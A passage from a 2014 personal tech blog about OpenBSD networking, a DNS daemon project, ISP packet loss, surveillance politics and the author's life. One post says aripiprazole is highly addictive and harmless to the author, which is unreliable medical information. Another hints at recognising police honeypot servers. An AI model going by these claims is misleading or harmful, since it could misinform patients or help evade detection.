never been released, now it has. Enjoy.
It's probably a program that needs a lot of grooming but for people who
want to start with something here it is, under a BSD license.
Bought two books
August 14th, 2014
I just bought two books so that I have something to read during the holidays.
IPv6 Core Protocols Implementation (Morgan Kaufmann Series in Networking) - Qing, Li
Ipv6 Advanced Protocols Implementation (Morgan Kaufmann Series in Networking) - Qing, Li
These seem like good books to get. And perhaps I can learn something great
out of them.
Why I use Amazon
August 15th, 2014
I used to live in a big city, a metropolis really. It had several Universities
and Colleges. With that came literature and bookstores. Then I moved to a
small town (ok a small city) with no access to big cities within 2 hours
driving distance. I checked out the bookstores here and quickly found out
that the types of material that I want to read was either not there, or the
quality didn't exist. Now I'm no small town fool. I still require literature
for work and for personal interests to grow and flourish. I found Amazon to
be the right outlet for me. So all those people who say Amazon is bad and we
should go back to supporting bookstores, eat a book, or don't eat a book
because you just can't find the book you want to eat in the local bookstores.
If I still lived in the big city I'd not need to go to Amazon, it's a trade-off.
Changed DNS servers
August 18th, 2014
I ran into an administrative problem on americas.centroid.eu and needed a
recursive as well as an administrative nameserver there. So I did this
change:
I had to take nsd out in order to keep a wildcarddnsd master. My tests
were successful in determining that nothing was lost and that bind slave
zones are correct to the wildcarddns master.
On Holidays what will I do?
August 19th, 2014
I'm sitting here at home with a few books opened and staring at my own
wildcardddnsd code. How am I going to do this? Do what? Well. I decided
a long time ago that I'd put TSIG (RFC 2845) support into wildcarddnsd. Just
tomorrow will be 1/4 of my vacation over and all I've done is add a few lines
of code and print out RFC 2845 and highlighted it a bit here and there. I do
hope I get this done because I have plans to make the 0.9-BETA release with
TSIG. I have a vision how I'm going to do the key management inside W but
I just need to get over the slump and write code...
The end of Moon (Asia Pacific)
August 20th, 2014
I have stopped the crontab to sync ap.centroid.eu aka Moon. I'll soon be
dismantling its web daemon. Here is some stats collected this morning on
how much web traffic this host got.
I had that VPS since september 11th 2012, and it'll be reclaimed on september
10th 2014. Host Virtual (http://vr.org) was the VPS provider and they were
very nice. I'll write another article regarding that soon.
Futile attempt on a dating service
August 21st, 2014
I cruise dating services once in a while but get turned off when I have to pay.
So I put this image of me up in the pictures, and it got removed, oh jeez.
I did this so that it would survive the dating services auto-scaling as I
tried outguess and the message got scrambled. So.. if you're looking to
date me why don't you send me an email? I'm single...I'll have to ask you
a security question first though so I know where you're from. *laugh*
carry on carry on!
Fears of a centralized wifi
August 22th, 2014
There is a rumour that the governing party in Bavaria (a state of Germany)
wants to give the state a wifi network covering most or all of bavaria.
I have thought about this with a shudder. Basically what this means is that
the the wifi spectrum which is still free and decentralized would get a sort
of network of sensors added to it. And fibreoptic networking would make sure
that someone in Munich would be able to follow the wifi of anyone without
leaving their chair. So, uncloaked, it is a centralized surveillance apparatus.
With such a wifi it gives the authorities in munich a few choices.
They can now follow every single smartphone, everywhere
They can now detect any "Freifunk" nodes which are not encrypted
They can capture encrypted wifi traffic without leaving their chair
They can enforce, by law, an encrypted wifi ap, without leaving their chair
On the other hand it may be really convenient, but who's gonna manage it?
The Deutsche Telekom or M-net? And will this mean the end of commercial ISP's?
Bought an Album
August 25th, 2014
I know it's only been 2 weeks since I bought one but I was browsing through
Anthony B's album Rasta Love and I just had to buy it. :-)
Holidays coming to an end
August 29th, 2014
I had 2 weeks holidays and I didn't do very much except veg. I did write a
bit of code but not the bit of code I wanted to write. It'll have to be
written another time.
War in Europe
August 29th, 2014
I think it's fair to say that we have war in Europe. This is the most
devastating piece of news, after Chernobyl, I have come across concerning
Europe in my life. Now is a good time to stop and listen to the UN.
Purchased Soekris Addons
September 1st, 2014
Happy September! I have purchased a 19" soekris case with internal powersupply
and one quad ethernet addon card for my 6501. What I plan to do with this is
place venus into my office and uranus into the hallway. I gain 2 ports on
both locations that way, and I can possibly put the raspberry pi back in the
hallway. Once I get the gear I'll have to wait for the right time to do the
operation from venus's (my soekris 6501) old case to the new case. Anyone
interested in buying a normal soekris 6501 case (metal) with external power
supply should make me an offer preferably if you live in europe.
Donation time again
September 2nd, 2014
After a long break from donations of any kind I activated donations again.
I've written a transfer for OpenBSD which I'll bring to the bank this
friday. The amount is for 100 Euros. This will be the last for OpenBSD
for this year and brings the amount to 300 if I'm not mistaken. It's a little
less than the previous years but I'm also facing less income this year due to
currency exchange. Hoping for a raise soon. :-)
Venus (computer) has 4 more interfaces
September 7th, 2014
This morning my dad and I transplanted my Soekris 6501 (aka venus) from its
small case to a 19" rackmount case and added a lan1841 to it. It now has
8 gigabit interfaces. When I return home I'll have some time to configure
the new ports and add my rpi to it. Giving me 3 open ports in the hallway
and 2 open ports in my office (by taking the rpi out). I'm very happy.
Moon finally gone
September 10th, 2014
The VPS in Hong Kong is gone. Here is the last message I saw from it.
You have new mail in /var/mail/pjp
[pjp@76er ~]$ Write failed: Broken pipe
that was from 76er.virgostar.net one of its jails.
I'd like to thank the people of Hong Kong, the city of Hong Kong, NTT and
Host Virtual (vr.org) for making this VPS possible
for me for 20 dollars a month. Hong Kong has good infrastructure IMO,
especially near the HKIX internet exchange, although I can only guess about
it really. It was my pleasure staying there for 2 years. As they would say
in france, a bientot!
I'll now remove the mentions of moon.virgostar.net from my DNS.
The Enforcers of the Internet?
September 12th, 2014
Some government body in Bavaria is writing warnings and threats to
Internet companies that don't use STARTTLS in their mail servers. I don't
think it's right to threaten Internet operators with fines when they don't
encrypt. Instead they should give Incentives to Internet companies to
start encrypting. Pretend you run your own mail server that doesn't have
crypto built in... I think this is the wrong methods the state is using just
to "protect" its citizens.
Purchased some Reggae
September 17th, 2014
I have purchased the downtown riddim from itunes. A long favourite of mine
on youtube, I finally have it on my ipod now.
Equinox in three days
September 20th, 2014
Equinox is in three days!
At equinox the earth is exactly perpendicular if you were to draw a cross,
with lines between the north and the south pole, and the equator and the sun.
After
equinox as this is the southward equinox favouring the direction of the tropic
of capricorn, the northern hemisphere will fall into autumn, and countries
north of the equator will have longer nights than days. The sun at high noon
will continue to dip everyday as it has been since the June solstice, until
the December solstice at which point it will start to rise again. Isn't
the earth wonderful? I love this!
OpenBSD blocked at the routers?
September 22th, 2014
When I spend my weekends at my parents I usually do all network things as
usual on my netbook. Just that my parents have a different provider (DTAG or
aka Deutsche Telekom). Here is a traceroute from my parents house to my
VPS io.solarscale.de:
traceroute to 84.170.172.239 (84.170.172.239), 64 hops max, 52 byte packets
1 static.65.5.40.188.clients.your-server.de (188.40.5.65) 0.914 ms 1.288 ms 0.909 ms
2 hos-tr2.juniper3.rz10.hetzner.de (213.239.236.81) 0.319 ms 0.372 ms 0.291 ms
3 core22.hetzner.de (213.239.245.141) 0.337 ms 0.334 ms
core21.hetzner.de (213.239.245.101) 0.333 ms
4 core4.hetzner.de (213.239.245.18) 4.976 ms 4.952 ms 4.961 ms
5 juniper4.ffm.hetzner.de (213.239.245.1) 5.054 ms 5.036 ms 5.034 ms
6 62.157.251.33 (62.157.251.33) 5.098 ms
80.157.128.233 (80.157.128.233) 5.102 ms 5.059 ms
7 f-sb1-i.F.DE.NET.DTAG.DE (62.154.14.137) 11.048 ms 13.225 ms 11.980 ms
8 wue-ea1-i.WUE.DE.NET.DTAG.DE (62.154.68.73) 12.899 ms 12.667 ms 13.767 ms
9 wue-sc2-i.WUE.DE.NET.DTAG.DE (62.154.4.114) 11.224 ms
217.0.67.5 (217.0.67.5) 11.609 ms 11.867 ms
10 p54AAACEF.dip0.t-ipconnect.de (84.170.172.239) 56.456 ms !X 56.265 ms
Now then I connected an SSH and ran tmux. Switching windows causes larger
SSH packets and I noticed that they get re-transmitted, when dumping on the
outgoing interface on io.solarscale.de (re0). Here is what they look like:
Notice on packets #378 through #388 there is three retransmissions of a 966
byte length packet. This was captured on io.solarscale.de. On #390 which
was captured on fritz!box's 192.168.178.1 interface it's sent out to the
netbook in question. The fritz!box does not receive the three retransmissions
on it's PPPoE interface as the next screenshot shows of it's PPPoE packet
dump:
Notice on packet #175 the 984 byte length packet arrives. Why is it 8 bytes
larger? Because of the nature of PPPoE. Notice in the #175 vicinity no
retransmissions make it to the PPPoE interface. From this I can deduct that
it is not the Fritz!Box router.
Now then. It gets worse. A Linux box on my parents' LAN has absolutely no
problems with SSH on io.solarscale.de. It only affects my OpenBSD netbook.
Could there be something such as a TCP OS Fingerprinting firewall that uses
discrimination against OpenBSD TCP stacks? It would need to be done on a
flow basis if such a thing exists.
This is really annoying me as I'm inviting laughs and denial that anything is
wrong.
Donated $5 to FreeBSD Foundation
September 24th, 2014
I was feeling a bit down and wanted to spend money. But not too much money
either. Five dollars isn't gonna kill me. So I donated it to the FreeBSD
foundation. Go Open Source!
Wildcarddnsd Linux now relies on LibreSSL
September 28th, 2014
I have made wildcarddnsd's linux port rely on LibreSSL. This was not easy
because libressl does not exist in ubuntu or raspbian (the flavours I use).
So what I did was make it rely on libressl 2.0.5, and it extracts .o files
from the .a archive with ar, for functions that it needs. This seems to go
well. Just costs a bit of compile time. Roughly one hour on raspberry pi to
compile libressl 2.0.5.
I also checked all architectures except NetBSD whether they compile so that
I can release wildcarddnsd 0.9.0 in mid-November, as I don't know if I'll
have much time in October to work on it.
Two TCP traceroutes
September 30th, 2014
I have written two programs that do a tcp traceroute to a remote IP. I plan
on finding the culprit at DTAG that gives me packet loss to my openbsd laptop
from the host io.solarscale.de. I wrote on it most of yesterday and got it
working somehow. Here is the source code for the
server traceroute and here is the source code for the
client traceroute.
The server gets connected upon with telnet and it will spit back some data
while tracing on its side (it doesn't fork), the client will connect to the
echo port or discard port which ever one it finds first and will do a
traceroute. Here a small demonstration of how the server tcp traceroute works:
root@galileo:/home/pjp/mytcptraced # ./mytcptraced 0.0.0.0
now sending from port 88 to port 55233, sending a few lines of test
sending testline 0 length 4
now starting the trace...
1 188.40.5.65 1292 1304
2 213.239.236.81 442 514
3 213.239.245.101 527 610
4 213.239.245.14 5129 5136
5 213.239.245.1 5223 5230
6 80.81.193.7 6095 6103
7 188.174.202.201 12422 13179
8 188.174.202.201 11944 12671
9 188.174.202.201 14382 14854
10
What's so cool about this is that it unearths routers behind NAT, as seen with
188.174.202.201 the last hop. This is my home address at m-net. Unfortunately
it can't unearth the RFC 1918 addresses due to some pretty good NAT on ICMP
timex messages, but knowing that this network goes deep is interesting too.
Anyhow enjoy the code, and play if you wish.
Pre-Ordered OpenBSD 5.6
September 30th, 2014
I have pre-ordered this from OpenBSDStore.COM, which is the old
openbsdeurope.com
website. Had some problems manouvering through their site at first but after
an email and assurances that everything was alright from them, I managed to
do my pre-order. Looking forward to having the three disks of freedom in my
hands!
Tried the firechat app
October 3rd, 2014
I read somewhere that firechat is being used to organize protesters in HK.
So I tried it out and it drained my batteries overnight on my ipod. I quickly
deleted it again, good thing today is a holiday in germany, as the ipod didn't
wake me.
Ordered two books
October 3rd, 2014
I have ordered two books for the end of year.
Money lookout
October 4th, 2014
I'm simply spending way too much money. I only made ~ 10% savings this year
of my income while at the same time the euro was so strong vs. the CAD that
I lost 1000 euros income this year. So the books I bought this year will have
to last until january. And in 2015 I plan on spending only 6-8 books. Also
donation money will be less I'm cutting it by 1/3. I really have to tighten
the belt if I want to achieve a certain amount of savings in mid-2016. I
don't know if it's doable. But we'll see.
Citizen4
October 11th, 2014
There is a movie out by Laura Poitras called "citizenfour" it's the story of
Edward Snowden. In this
article (in german) they write that the NSA has infiltrated German,
Chinese, and South Korean networks with undercover agents as sysadmins in order
to get at the infrastructure of those countries. I personally would just
like to say to companies in Germany that not every foreign sysadmin is a spy
and there is only a few bad apples. And I'd like to say to sysadmins that
want to work in Germany, that perhaps you'll be watched on whatever you do
and any actions you may do may reflect on your work at specific networks.
As a hint if you encounter servers named "Kriminalpolizei" or "Bundespolizei",
consider that these are just honey pots. Stay away from them as they won't
let you log in anyhow. Aside from this caution you have to use your instincts
why a server named "FBI" may be set up in a place where it does not make sense.
Remember, authorities like to set up at hub points, not at edge networks. If
they set up at the edge I'd say there is a good chance that it's fake.
Wildcarddnsd 0.9.0 to be released next month
October 13th, 2014
It will be likely tagged in the tree and tarballs made available for download
on the 15th of November which is in 1 month and 2 days or so. There is a
larger list of what has changed in the
CHANGES file. I'm so happy I can hardly wait!
Turning off SSLv3 on Firefox on OpenBSD
October 15th, 2014
If you ever wanted to do this, here's how:
Type about:config in firefox's browser and promise to be careful, find
the security.tls.version.min and set it to 1 instead of 0. That
disables SSLv3.
Wiping Keys / Secrets (so important)
October 18th, 2014
I examined some software the other day that encrypts passwords. This
particular software doesn't wipe it's master key after use on the stack, so I
was able to write a proof-of-concept on my raspberry pi, that reads the
key from the stack when the database is accessed. Not knowing which is the
key though one must run through all offsets in the dumpfile in order to crack
the database, but that shouldn't be expensive in processor time.
The authors of Cryptography Engineering, write about this too in section 21.10,
that wiping keys after they are done with should be wiped "as soon as
a secret is no longer needed".
Some security concious programs even store sensitive keys privsep'ed process
and wipe as much as possible.
So lessons learned are:
don't share your UNIX account with anyone else
wipe keys when finished with them
privsep keys when possible
Who would I like to thank? Everyone that helped me get to this conclusion.
I have a new VPS!
October 19th, 2014
I'm very excited to give you the news. This one is called
supercluster.virgostar.net and I got it from transip.eu. The
VPS was almost immediately available but I had to install the OS on
a HTML5 console (wicked!). It costs me about 10 euros a month.
Mytd, my tcp traceroute daemon
October 22nd, 2014
Yesterday I programmed this daemon based on last months tcp traceroute server.
It's actually pretty cool, it sandboxes a lot of processes and uses
descriptor passing when a function needs root credentials, the socket in
question is always passed back to the non-privileged process. Here is a
traceroute in process this is how it looks:
It's a looking glass traceroute, the traceroute looks a little like this:
mercury$ telnet supercluster.virgostar.net 1111
Trying 2a01:7c8:aaac:365::1...
telnet: connect to address 2a01:7c8:aaac:365::1: No route to host
Trying 149.210.171.149...
Connected to supercluster.virgostar.net.
Escape character is '^]'.
now sending you the traceroute, please wait...
now sending you the traceroute, please wait...
1 149.210.171.1
2 87.253.141.241
3 80.249.208.212
4 82.197.128.21
5 217.71.96.118
6 217.71.96.6
7 217.71.97.150
8 188.174.195.165
9 188.174.195.165
10 188.174.195.165
done.
Connection closed by foreign host.
I'm making the source code of this available
here. Enjoy.
On my Christmas wish list: Book of PF
October 25th, 2014
The third edition of the Book of PF
is out. I'm putting this on my christmas wishlist, if not then, then I'll
buy it next year as my book budget for this years is exhausted.
When TCP is blocked/manipulated...
October 26th, 2014
then we tunnel! In the following
article
I showed proof that the DTAG network is screwed up. The problem persists,
and I have done a new thing to circumvent this screwing up. I have started
to tunnel.
right now everything works as it should and I have none of the retransmission
and delays I was talking about earlier. This is further proof that DTAG is
using some sort of Deep Packet Inspection that causes these screwups.
# ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2): 56 data bytes
64 bytes from 10.0.0.2: icmp_seq=0 ttl=255 time=58.851 ms
64 bytes from 10.0.0.2: icmp_seq=1 ttl=255 time=62.127 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=255 time=64.028 ms
--- 10.0.0.2 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 58.851/61.668/64.028/2.157 ms
Nuff said.
Proud owner of 5.6 CD's
October 29th, 2014
I have made prepwork to make mercury 5.6 tomorrow and I'll do the rest of the
network here on saturday I guess. Yes OpenBSD!
Upgraded Uranus(computer) to OpenBSD 5.6
October 30th, 2014
With patches (errata) applied, it looks like this:
# sysctl kern.version
kern.version=OpenBSD 5.6 (URANUS.MP) #0: Thu Oct 30 09:57:34 CET 2014
pjp@uranus.centroid.eu:/usr/src/sys/arch/i386/compile/URANUS.MP
I'll do the rest on saturday when packages are available.
Careful of a FritzBox downgrade!
November 2nd, 2014
I downgraded my Fritzbox from 6.20 to 6.04, and it turns out the saved config
is not backwards compatible. So after a lot of trying and not finding the
DSL access codes I had to take it back to 6.20 and restore the config. It's a
good thing that was possible. I then utilized my UDPTUNNEL program this
morning and it's working like a charm. I guess the FB analyses TCP and does
bad things with it.
Graphing DNS queries
November 5th, 2014
DNS doesn't take much traffic when the TTL is high enough. (like mine).
I have graphed a few weeks worth of wildcarddnsd data, spikes are probably
when I wrote to a mailing list.
I was graphing most of yesterday and decided to do the above today as well.
RRDTOOL++!
Wildcarddnsd 0.9.0 Beta Release next Week
November 8th, 2014
One more week. I did some finishing touches today and then next week the
BETA_9 release will be done. Be sure to download your copy if you've been
using Wildcarddnsd, then. Also this may be the last release with the
Wildcarddnsd name, I've been thinking of renaming it to avoid confusions that
happen to pop up once in a while. The wildcarddnsd home page is at
wildcarddns.centroid.eu.
Wildcarddnsd 0.9.0 will be released tomorrow
November 13th, 2014
Here a sneak preview of what it has for new features from it's new legacy
homepage.
This is the last release under the name "wildcarddnsd" the project has been
renamed delphinus dnsd. Enjoy!
Reflections: Nine years of wildcarddnsd
November 13th, 2014
November is the birthmonth for wildcarddnsd. Back in 2005, I was job-less,
angry, and living on welfare, when I started to code on wildcarddnsd. It
was my escape from an uncertain future, a future that didn't have me hold
a job again. Well that turned out to be false. I did get a job 5 years
later and things started to go uphill again. But all throughout the time
I was unemployed and employed I took pleasure in writing for wildcarddnsd.
Thanks W for all that! And thanks to everyone who supported me. Now that
wildcarddnsd has been renamed I'm gonna have to say D instead of Double-U.
I'm glad you exist D, and I hope to see you flourish into a full-fledged
general purpose nameserver. Time will tell!
Delphinusdnsd is born
November 14th, 2014
The new tree was imported at the delphinus CVS repo. Delphinus DNS is the replacement name for
Wildcarddnsd and from this day forward it will carry on development. I plan
on putting in DNSSEC this release cycle, and delphinusdnsd will be released
with version RELEASE_1_0 tag right away (as 1.0.0) next year around November
15th. Some commits were already made to this new tree, to wipe the old name
away.
Reading Glenn Greenwald's book
November 16th, 2014
Remember Snowden? The journalist who had first contact with Snowden has
written a book. I bought it, it's in german, not sure if you can get this
book in english or not. The first 64 pages have been interesting but most
of the story I already knew. Interesting was that Laura Poitras who recently
released her film "citizenfour" was there since the start as well.
I asked the bookstore owner where I bought the book if Snowden is getting
any proceeds from this book, and he was doubtful. Oh well, that's all I
wanted to show.
My thoughts on the recent BND 300 million euro project
November 16th, 2014
The BND wants to crack
facebook/TLS encryption.
My view is as it has always been, like here. Waste of money, and totally not worth it.
Imagine the electricity costs, that it takes to power 300 million
euros worth of ASICS. It would be counter-productive of the will of the people
here to change our energy transition to renewables.
I'm still peeved that the BND sold us out and gave the NSA our data.
See here. I was living in
Frankfurt in 2005 and it turned out that the BND forwarded data to the NSA
from my provider at the time (freenet.de/pppool.de), sheesh!
Now that I'm reading Glenn Greenwalds book you may see more of this type of
blog post. Although I'm not trying to fixate on this too much. I've got
projects to do anyhow.
Living with Schizophrenia: the medication
November 19th, 2014
This is sorta a second part. As some of you know, I have schizophrenia.
I don't feel different though, I feel like I've always felt. I don't
hear voices or anything like that at all, but that's because schizophrenia
entails a broad spectrum of traits ranging from paranoid to a schizoaffective
and even depression. What I can tell you about me is that the doctors in
Germany judged me mostly on my speech, which isn't fair because I lived in
Canada for 15 years, and I have trouble recalling the right words. Most of
the time I'd just like to say everything in english, but then noone would
understand me. Sucks I know.
In Canada I was diagnosed with OCD so I started taking Luvox which is
Fluvoxamine first. Having gone off it in cold turkey may have led to my
greater psychosis. My gateway drug with schizophrenia was Zeldox aka
Ziprasidone. It put on quite the pounds on me between 2003 and 2005, even
though I was fairly physically active especially since losing my job due
to "not performing as wished" in 2005. I got a little paranoid back then
and displayed psychosomatic symptoms at work. I also went off this medication
as I just couldn't handle my new psychiatrist. When I moved in 2006 or 2007
I went straight into the mental health facility and they subscribed me
another medication that gave me a greedy appetite, called zyprexa aka
Olanzapine. Then I really put on the fat with this stuff.
My psychiatrist (the original one) then reviewed me and gave me Abilify aka
Aripiprazole. The current dosage is 30 mg a day now that I intake. I was
watching youtube yesterday and saw someone whine that they had taken 7.5 mg
and felt bad/symptoms. Poor them. I don't feel any side effects at even
greater dosage.
While I'm positive that these medications can't harm me, I'm looking forward
to the day when my doctor says that I don't need them anymore. I do feel that
medications that are highly addictive like aripiprazole are a binding medication
causing someone to cease being all over the place and settling down to one home, where taking medication binds you to the place you call home. It's more to do
with control than healing. That's all I wanted to talk about today.
Love coming to an end
November 20th, 2014
In 5 days my 3 months trial of Zoosk.com is running out. Unfortuantely even
as a paying member I was not able to conduct any chat with other members. And
I didn't find anyone beyond animalistic attraction. So my love search is
coming to an end. I've joked to friends that I'm possibly going to register
a new .love domain in order to have google find me a partner. But who am I
kidding...she's not out there!
Fixed longstanding bug in Delphinusdnsd
November 21st, 2014
Up to today and in the 0.9.0 release Delphinusdnsd had a bug with time to
lives. A domain name with different RRsets would give the lowest RRset's TTL
to all of them. So if you had an A with ttl 1800, an MX with ttl 2400 and an
NS record with a ttl of 3600 and the A record happened to be the last parsed in
the configfile, all RR's would have a TTL of 1800. This is fixed now as I
needed that fixed for RRSIG records.
Left Zoosk forever, love DS.
November 24th, 2014
Well I left Zoosk. I closed my account. To me it was a waste of time, not
sure who else thinks so. I never got to chat to anyone and never made a
date. However Zoosk gave me some insights which I've printed out. I'm going
to share my results with you.
Women who were interested in me had the average age of 36
I attracted women who are non-smokers
I attracted women who don't have kids more often.
Women who watch action are often attracted to me
I attract women who live within 136 km from me
Most women attracted to me were Saggitarious and Libra
Demographis of women who have shown interest in me
Ethnicity: White 78.3%, Mixed/Other 13%, Latino/Hispanic 4.3%, Asian 4.3%
Education: Attended College 73.9%, High school graduate 17.4%, No degree 4.3%, College graduate 4.3%
Body Type: Average 52.2%, Slim 30.4%, Curvy 8.7%, Athletic 8.7%
Children: No 47.8%, Yes - at home 43.5%, Yes - they don't live with me 8.7%
Religion: Atheist 22.7%, Christian 22.7%, Catholic 22.7%, Other 18.2%, Muslim 13.6%
Movies - Action and Drama seemed to be tied for 1st
Sports - Boxing and Martial Arts
Books - Romance and Religion/Spirituality
TV - Drama
Games - Arcade
That was statistics for women interested in me. Now I'm not going to go into
what I liked the most except I'll give you a clue what women I most interested
in were: Depeche Mode, Clueso, Two and a Half Men. I don't think that's true
at all, but perhaps it is!
When it comes out I'm probably going to register a .love domain and continue
my search for a partner that way, perhaps with help of google? I already
pre-ordered the domain I just have to be willing to accept it when it's available and that depends how pricy it will be.
Got out the winter jacket
November 26th, 2014
I also turned up the heat to level 3 (highest) and increased the night
charger to 5 hours. I expect tomorrow it'll be nice and cozy warm. Today
I'm frosting a little (my feet are cold).
Google should be broken up? No.
November 27th, 2014
I didn't know I'd say this, but, Google should not be broken up like
European politicians want it. First look at how Google got started.
In California, USA. Land of possibilities and capitalism. Europe on
the other hand has less possibilities but is still capitalist. So
why is there no european Google? The answer is simply because the
economic and juristic landscape in europe don't allow a Google. I've
tested this first hand. Network policies of european providers cry
out when there is an attempt to make it as a search engine. So I
am against the European Union's vote to break up Google. If you don't
like Google, give us freedoms and we'll make our own! Don't bite the
others hand because they had the freedom to do what you can't! I'm
sure other people in europe see this different, but some may agree with
me.
Upgraded io.solarscale.de
December 2nd, 2014
Happy December!
I have upgraded io.solarscale.de, my VPS in Bavaria. It is now running
FreeBSD 10.1-RELEASE-p0. You may have noticed emea.centroid.eu being down
for about 7 hours, if you did I hope you used the americas.centroid.eu mirror.
io.solarscale.de does mail, dns and web and some other services.
Purchased iTunes music
December 4th, 2014
Something to get me through the upcoming winter. I have purchased "Real Life
Stories" by Lutan Fyah and Turbulence featuring Jessie Reds. This album/EP
came out in 2014 so it's new music for me.
2014 in review, what happened this year?
December 6th, 2014
Usually I do this review on the 10th of December every year but this year I
may not have time on the 10th so I set out to do it on the weekend before.
Here goes:
December 2nd, 2014 - Upgraded io.solarscale.de
November 27, 2014 - Google should be broken up? No.
November 26, 2014 - Got out the winter jacket
November 24, 2014 - Left Zoosk forever, Love DS
November 21, 2014 - Fixed a long standing bug with Delphinusdnsd
November 20, 2014 - Love coming to an end
November 19, 2014 - Living with Schizophrenia: the medication
November 16, 2014 - Reading Glenn Greenwalds book
November 14, 2014 - Delphinusdnsd is born
November 13, 2014 - Reflections: Nine years of wildcarddnsd
November 13, 2014 - Wildcarddnsd 0.9.0 will be released tomorrow
November 5th, 2014 - Graphing DNS queries
November 2nd, 2014 - Careful of a FritzBox downgrade
October 29, 2014 - Proud owner of 5.6 CD's
October 26, 2014 - When TCP is blocked/manipulated
October 25, 2014 - On my Christmas wish list: book of Pf
October 22, 2014 - Mytd, my tcp traceroute daemon
October 19, 2014 - I have a new VPS!
October 18, 2014 - Wiping keys, so important
October 15, 2014 - Turning off SSLv3 on OpenBSD's Firefox
October 13, 2014 - Wildcarddnsd 0.9.0 to be released next month
October 11, 2014 - Citizen4
October 4th, 2014 - money lookout
October 3rd, 2014 - Tried the firechat app
September 30, 2014 - Two tcp traceroutes
September 24, 2014 - Donated 5 dollars to the FreeBSD Foundation
September 22, 2014 - OpenBSD blocked at the routers?
September 20, 2014 - Equinox in three days
September 12, 2014 - The Enforcers of the Internet?
September 10, 2014 - moon finally gone
September 7th, 2014 - Venus (computer) has 4 more interfaces
September 2nd, 2014 - Donation time again
September 1st, 2014 - Purchased Soekris addon
August 29, 2014 - War in Europe
August 29, 2014 - holiday coming to an end
August 22, 2014 - Fears of a centralized wifi
August 21, 2014 - Futile attempt on a dating service
August 20, 2014 - The end of moon.
August 19, 2014 - On holidays what will I do?
August 18, 2014 - Changed dns servers
August 15, 2014 - Why I use Amazon
August 13, 2014 - New open source: bindsync
August 12, 2014 - removed moon.virgostar.net from nameservers
August 12, 2014 - Asylum for Snowden
August 11, 2014 - OpenBSD has a new httpd
August 11, 2014 - nginx and fastcgi stopped working
August 4th, 2014 - My next .ca vacation
August 2nd, 2014 - Tunnels vs. Submarines
August 1st, 2014 - 40 days til end of moon
July 27, 2014 - My Prayer
July 25, 2014 - Interrupted Venus's uptime
July 23, 2014 - Backdoored Hardware
July 19, 2014 - The dark side of IT workers
July 19, 2014 - How much space would we have if ..
July 8th, 2014 - An old rap song of mine
July 6th, 2014 - How to compile xephem from source on OpenBSD
July 4th, 2014 - Why a static IP is best
June 30, 2014 - Happy Canada day (tomorrow)
June 28, 2014 - A message to the justice minister: you're doing it wrong
June 23, 2014 - Cherries 2014
June 21, 2014 - Happy solstice
June 13, 2014 - ap.centroid.eu
June 11, 2014 - Isn't it time for a new computer design?
June 5th, 2014 - My 2nd WRT router
May 31, 2014 - Opinion: the destroyers of the 'net
May 29, 2014 - Another TODO for wildcarddnsd
May 28, 2014 - Snowden: All german citizens are spied on
May 25, 2014 - I went voting in the EU election
May 23, 2014 - The Tree
May 23, 2014 - The heaven is singing a lullaby
May 21, 2014 - On my XMAS wishlist
May 17, 2014 - Wildcarddnsd now has RFC 1996 (Notify) master-only support
May 14, 2014 - The NSA, one year after Snowden
May 13, 2014 - Happy 1400000000
May 11, 2014 - Wildcarddnsd now has NAPTR support
May 10, 2014 - Wildcarddnsd now has EDNS0 support
May 7th, 2014 - Administrivia and future plans network wise
May 5th, 2014 - wildcarddnsd now has packet rate limiting
May 4th, 2014 - got openbsd in the mail yesterday
April 28, 2014 - Two racing ARP's
April 25, 2014 - Highest possible date on OpenBSD 5.5
April 23, 2014 - Mercury (computer) OpenBSD dmesg
April 22, 2014 - Mercury (computer) has arrived
April 18, 2014 - All my domains now have spf records
April 13, 2014 - Wildcarddnsd has a YACC parser now!
April 11, 2014 - My new computer is ordered
April 8th, 2014 - Heartbleed, my story
April 4th, 2014 - Where would you hide?
April 2nd, 2014 - Good weather ahead?
March 31, 2014 - Happy 5th anniversary centroid.eu blog
March 31, 2014 - Pre-ordered OpenBSD 5.5
March 30, 2014 - My C Primer hits 30,000 views
March 27, 2014 - Oculus Rift, too bad
March 27, 2014 - Scaling back on donations this year
March 26, 2014 - americas.centroid.eu upgraded to FreeBSD 10
March 21, 2014 - I hunt Sysadmins
March 20, 2014 - Spring has sprung!
March 19, 2014 - As the world turns
March 14, 2014 - The case with consumer routers
March 14, 2014 - Happy Pi day
March 8th, 2014 - Viewable Starsky tonight
March 4th, 2014 - What happened to *REAL* technical support?
March 2nd, 2014 - How should we punish aggressors?
February 25, 2014 - Win for the Consumer in Germany
February 20, 2014 - Upgraded my FritzBox Repeater 300E
February 19, 2014 - My apartment: Year 1
February 18, 2014 - New Computer the decision factor
February 15, 2014 - OpenSMTPD on FreeBSD with Spam Assassin
February 14, 2014 - Happy Valentines day
February 13, 2014 - SVPRadio.com did get media attention in 2012
February 12, 2014 - Security can be about Incentives
February 12, 2014 - New naming scheme after planets
February 11, 2014 - After a long downtime my VPS americas is back
February 4th, 2014 - OS Changes back
January 28, 2014 - My apology to OpenBSD
January 24, 2014 - Someone actively probed my MTS tunnel (MITM)
January 20, 2014 - FreeBSD 10.0 released
January 19, 2014 - The Apple magic wore off
January 15, 2014 - Donation time again
January 15, 2014 - Is the NSA so much smarter than everyone else?
January 11, 2014 - What would I do in Virtual Reality?
January 10, 2014 - Freifunk Franken
January 8th, 2014 - So who owns the Internet
January 2nd, 2014 - My IT spendings are just about average in .de
January 1st, 2014 - Why China is fixated on the moon
December 30, 2013 - My Moonchart
December 26, 2013 - Success, configuring the resolver right
December 23, 2013 - Purchased Music off iTunes
December 23, 2013 - Living with Schizophrenia, what's it like?
December 22, 2013 - Donated 5 euros to the LibreOffice document foundation
December 19, 2013 - I'm in love with the new Apple Mac Pro (cylinder)
December 17, 2013 - Compartmenting more $USER functionality
December 16, 2013 - I wish Europe would land on the moon too
A lot has happened this year, it was great going over it again.
When Fighters scramble
December 6th, 2014
In the 21st century scrambling fighters against a 20th century bomber may
seem like a good deed but let's think about what really could happen.
The fighter has a crew of 1 or 2, the bomber has a crew of 6+, plus it has
a lot of room for equipment not bombs. What's this you say? Equipment?
It's logical in the 21st century to conduct electronic surveillance not to
test the defences of the west, in fact what I think may be happening is that
as an example, russian bombers are getting a lot more from NATO fighters than
we think. If the NATO radio is on, it'll be encrypted. That's what they
probably want. They probably test the electronics of the fighter too. So
